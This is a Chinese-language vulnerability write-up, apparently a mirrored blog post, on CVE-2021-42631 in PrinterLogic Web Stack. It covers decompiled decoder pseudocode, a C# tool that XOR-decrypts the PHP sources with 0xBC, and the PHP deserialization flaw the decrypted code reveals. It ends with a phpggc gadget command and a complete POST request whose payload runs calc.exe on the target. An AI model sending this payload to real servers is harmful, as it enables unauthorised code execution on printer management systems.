

CVE-2021-42631 PrinterLogic Web Stack unserialize RCE - Y4er的博客
source link: https://y4er.com/posts/cve-2021-42631-printerlogic-web-stack-unserialize-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2021-42631 PrinterLogic Web Stack Unserialize RCE
看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。
这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。
打开php文件看到文件是加密的
找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0
,查看php.ini的配置
用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。
跟进到sub_100011D0
确认解密逻辑位于sub_10001000函数中,伪代码如下
int __cdecl sub_10001000(int a1, int a2)
{
int v2; // edi@1
int result; // eax@4
int v4; // eax@8
unsigned int v5; // edx@8
int v6; // ebx@8
char v7; // cl@10
char v8; // al@10
unsigned int v9; // ebp@14
unsigned int v10; // eax@14
int v11; // ebx@14
unsigned int v12; // ecx@14
int v13; // eax@18
int v14; // edx@21
int v15; // ebx@21
int v16; // esi@21
int v17; // ecx@22
int v18; // ST04_4@24
int v19; // eax@24
int v20; // esi@24
unsigned int v21; // [sp+4h] [bp-8h]@3
int v22; // [sp+8h] [bp-4h]@14
v2 = a1;
if ( a1
&& *(_DWORD *)(a1 + 44)
&& zend_stream_fixup(a1, &a1, &v21) != -1
&& *(_DWORD *)(v2 + 52) == 4
&& *(_DWORD *)v2
&& *(_DWORD *)(v2 + 20) )
{
v4 = v21;
v5 = 0;
v6 = v21 >= 0x9F;
if ( v21 >= 0x9F )
{
do
{
if ( v5 >= 0x9F )
break;
v7 = *(&a_phpHeaderHttp[a1
- (_DWORD)"<?php\n"
"header('HTTP/1.1 500 Internal Server Error');\n"
"echo 'PrinterLogic decoder is not installed, please contact customer support for"
" assistance';\n"
"exit();\n"
"?>PL"]
+ v5);
v8 = a_phpHeaderHttp[v5];
v6 = v7 == v8;
++v5;
}
while ( v7 == v8 );
v4 = v21;
}
if ( v6 )
{
v9 = v4 - 159;
v10 = emalloc__4(v4, v5);
v11 = v10;
v12 = 0;
v22 = v10;
if ( v9 )
{
if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
{
v13 = a1;
do
{
*(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
*(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
v12 += 64;
}
while ( v12 < (v9 & 0xFFFFFFC0) );
}
if ( v12 < v9 )
{
v14 = v11 + v12;
v15 = 159 - v22;
v16 = v9 - v12;
do
{
v17 = v15 + v14++;
*(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
--v16;
}
while ( v16 );
v11 = v22;
}
}
memset((void *)(v11 + v9), 0, 0x9Fu);
v18 = a2;
a1 = *(_DWORD *)(v2 + 20);
v21 = *(_DWORD *)(v2 + 8);
*(_DWORD *)(v2 + 20) = v11;
*(_DWORD *)(v2 + 8) = v9;
v19 = dword_10003090(v2, v18);
*(_DWORD *)(v2 + 20) = a1;
v20 = v19;
*(_DWORD *)(v2 + 8) = v21;
efree__4(v11);
result = v20;
}
else
{
result = dword_10003090(v2, a2);
}
}
else
{
result = dword_10003090(v2, a2);
}
return result;
}
关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc
伪代码中有一个v4 - 159
刚好截取到这个地方
用0x80 ^ 0xBC
试试
>>> 0x80 ^ 0xBC
60
>>> chr(60)
'<'
看起来像是php的起始标签<
,再试试第二位第三位
没错了就是仅仅异或了一个0xBC
如此写脚本解密
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp5
{
internal class Program
{
static List<string> fileList = new List<string>();
static string encPath = @"";
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("decode.exe encdir outdir");
return;
}
else
{
Console.WriteLine($"{args[0]} {args[1]}");
}
encPath = args[0];
ForeachForldersAndFiles(encPath);
Console.WriteLine($"处理文件总数 {fileList.Count}");
foreach (var file in fileList)
{
Decode(file, args[1]);
}
Console.WriteLine("decode done!");
}
static void ForeachForldersAndFiles(string path)
{
DirectoryInfo di = new DirectoryInfo(path);
DirectoryInfo[] arrDir = di.GetDirectories();
foreach (DirectoryInfo dir in arrDir)
{
ForeachForldersAndFiles(di + dir.ToString() + "\\");
}
foreach (FileInfo fi in di.GetFiles())
{
string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
if (content.Contains("PrinterLogic decoder is not installed"))
{
fileList.Add(fi.FullName);
Console.WriteLine($"add {fi.FullName}");
}
}
}
static void Decode(string infile, string outfile)
{
Console.WriteLine("处理 " + infile);
byte key = 0xBC;
FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
BinaryReader binaryReader = new BinaryReader(fileStream);
string outfilepath = infile.Replace(encPath, outfile);
string directoryName = new FileInfo(outfilepath).DirectoryName;
if (!Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
StreamWriter streamWriter = new StreamWriter(outfilepath);
long length = fileStream.Length;
while (length > 0)
{
byte tmpByte = binaryReader.ReadByte();
byte resByte = Convert.ToByte(tmpByte ^ key);
char res = Convert.ToChar(resByte);
streamWriter.Write(res);
length--;
}
streamWriter.Close();
Console.WriteLine("done " + infile);
}
}
}
解密之后再来审计
admin\design\reports\chart_image.php
文件中直接用了经典的base64反序列化
$dataset = unserialize(base64_decode(requeststr("dataset")));
./phpggc -u -b -f Laravel/RCE2 system 'calc.exe'
POST /admin/design/reports/chart_image.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK